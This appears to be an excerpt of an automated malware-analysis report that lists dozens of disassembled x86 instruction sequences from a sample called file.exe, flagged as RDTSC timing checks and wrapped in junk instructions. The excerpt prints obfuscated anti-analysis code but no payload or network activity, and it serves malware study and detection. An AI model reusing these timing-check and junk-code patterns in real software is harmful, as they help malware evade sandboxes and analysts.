Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62F60 second address: E63001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D2B88h], edx 0x0000000e call 00007FDE70D000D0h 0x00000013 mov edi, dword ptr [ebp+122D2C3Bh] 0x00000019 pop edi 0x0000001a push dword ptr fs:[00000000h] 0x00000021 pushad 0x00000022 popad 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a pushad 0x0000002b xor dword ptr [ebp+1247803Ah], edx 0x00000031 movzx eax, dx 0x00000034 popad 0x00000035 mov eax, dword ptr [ebp+122D0029h] 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FDE70D000C8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 sub ebx, 0168FF56h 0x0000005b sub dword ptr [ebp+122D1ED6h], ecx 0x00000061 push FFFFFFFFh 0x00000063 mov di, D2DBh 0x00000067 jmp 00007FDE70D000CCh 0x0000006c nop 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007FDE70D000D7h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66304 second address: E66308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66308 second address: E6630C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63ECA second address: E63EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09244 second address: E0925E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE70D000CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D85E second address: E6D862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D862 second address: E6D868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E72671 second address: E7267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7267B second address: E726AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FDE70D000D6h 0x00000013 jmp 00007FDE70D000CBh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E726AB second address: E726D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnl 00007FDE71263CEEh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A7FF second address: E7A819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FDE70D000CAh 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FDE70D000C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A819 second address: E7A827 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE71263CE8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79482 second address: E79486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79486 second address: E79495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEAh 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79495 second address: E7949B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79A60 second address: E79A65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79D92 second address: E79DAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79DAC second address: E79DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FDE71263CECh 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79DC6 second address: E79DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79DCA second address: E79DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE71263CEFh 0x0000000b push ebx 0x0000000c ja 00007FDE71263CE6h 0x00000012 pop ebx 0x00000013 pushad 0x00000014 jp 00007FDE71263CE6h 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A229 second address: E7A233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDE70D000C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A233 second address: E7A23E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A23E second address: E7A277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE70D000D7h 0x00000009 jmp 00007FDE70D000D8h 0x0000000e popad 0x0000000f pop eax 0x00000010 push edi 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7A6AB second address: E7A6BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FFF1 second address: E7FFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FFF5 second address: E80003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80003 second address: E8000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E954 second address: E7E971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE71263CF6h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E971 second address: E7E977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EADC second address: E7EAE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EAE1 second address: E7EAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EAE9 second address: E7EB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FDE71263CEEh 0x0000000b ja 00007FDE71263CE6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ebx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7EB02 second address: E7EB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edi 0x00000008 jo 00007FDE70D000C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F03B second address: E7F041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F041 second address: E7F045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F045 second address: E7F049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F049 second address: E7F057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDE70D000CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F057 second address: E7F067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F067 second address: E7F06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F659 second address: E7F663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDE71263CE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F663 second address: E7F6A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FDE70D000C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007FDE70D000CCh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 jmp 00007FDE70D000D8h 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f jc 00007FDE70D000C8h 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F6A3 second address: E7F6B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jne 00007FDE71263CE6h 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F9F5 second address: E7F9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7F9FB second address: E7F9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2E220 second address: E2E241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 jmp 00007FDE70D000CEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007FDE70D000FDh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FEAA second address: E0FEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FEB0 second address: E0FEB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FE6A second address: E7FE6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84D2C second address: E84D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84D30 second address: E84D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84D34 second address: E84D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE70D000CCh 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A378 second address: E8A395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF7h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89116 second address: E8911C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E896F8 second address: E8970E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CECh 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FDE71263CE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8970E second address: E89718 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE70D000C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89718 second address: E8974A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007FDE71263CEEh 0x0000000f jmp 00007FDE71263CEEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDE71263CEBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88E33 second address: E88E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88E38 second address: E88E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88E57 second address: E88E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89B55 second address: E89B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89B5A second address: E89B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89CDE second address: E89CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE71263CEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89E2B second address: E89E31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89E31 second address: E89E36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89E36 second address: E89E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E903A0 second address: E903BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDE71263CE6h 0x0000000a pop ebx 0x0000000b jnp 00007FDE71263CF6h 0x00000011 pushad 0x00000012 jo 00007FDE71263CE6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F1A0 second address: E8F1AA instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE70D000C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F1AA second address: E8F1C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46B88 second address: E46B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46B8D second address: E46BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46BAD second address: E46BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46C75 second address: E46C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46C7B second address: E46C8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FDE70D000C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46FE7 second address: E46FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46FED second address: E4700E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FDE70D000C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4700E second address: E47028 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47120 second address: E47124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E471DF second address: E471E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E471E5 second address: E47215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 4E39F814h 0x0000000f jmp 00007FDE70D000D6h 0x00000014 push CF50B7E1h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47215 second address: E4721B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4721B second address: E47226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FDE70D000C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47388 second address: E47392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDE71263CE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47447 second address: E47450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E475C9 second address: E475E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47A82 second address: E47A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47D2E second address: E47D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jng 00007FDE71263CE6h 0x0000000c pop edi 0x0000000d popad 0x0000000e nop 0x0000000f call 00007FDE71263CF8h 0x00000014 mov edx, dword ptr [ebp+122D2C1Bh] 0x0000001a pop ecx 0x0000001b lea eax, dword ptr [ebp+12486921h] 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FDE71263CE8h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 00000015h 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47D86 second address: E47D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47D8A second address: E47DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47DA4 second address: E2E220 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FDE70D000C8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push esi 0x00000027 mov dword ptr [ebp+122D2081h], eax 0x0000002d pop edi 0x0000002e call dword ptr [ebp+122D2041h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push edx 0x00000037 jg 00007FDE70D000C6h 0x0000003d js 00007FDE70D000C6h 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F508 second address: E8F516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F516 second address: E8F51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F676 second address: E8F68E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F68E second address: E8F6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDE70D000C6h 0x0000000a jmp 00007FDE70D000D9h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F6B2 second address: E8F6DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CF5h 0x00000009 jmp 00007FDE71263CF2h 0x0000000e rdtsc
